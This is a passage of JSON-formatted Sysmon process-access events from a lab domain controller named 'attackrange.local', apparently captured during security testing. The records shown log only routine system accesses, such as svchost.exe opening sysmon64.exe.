C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001033180500}","TargetProcessId":"2932","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3242,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3243,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3244,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3245,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3246,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3247,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3248,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3249,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\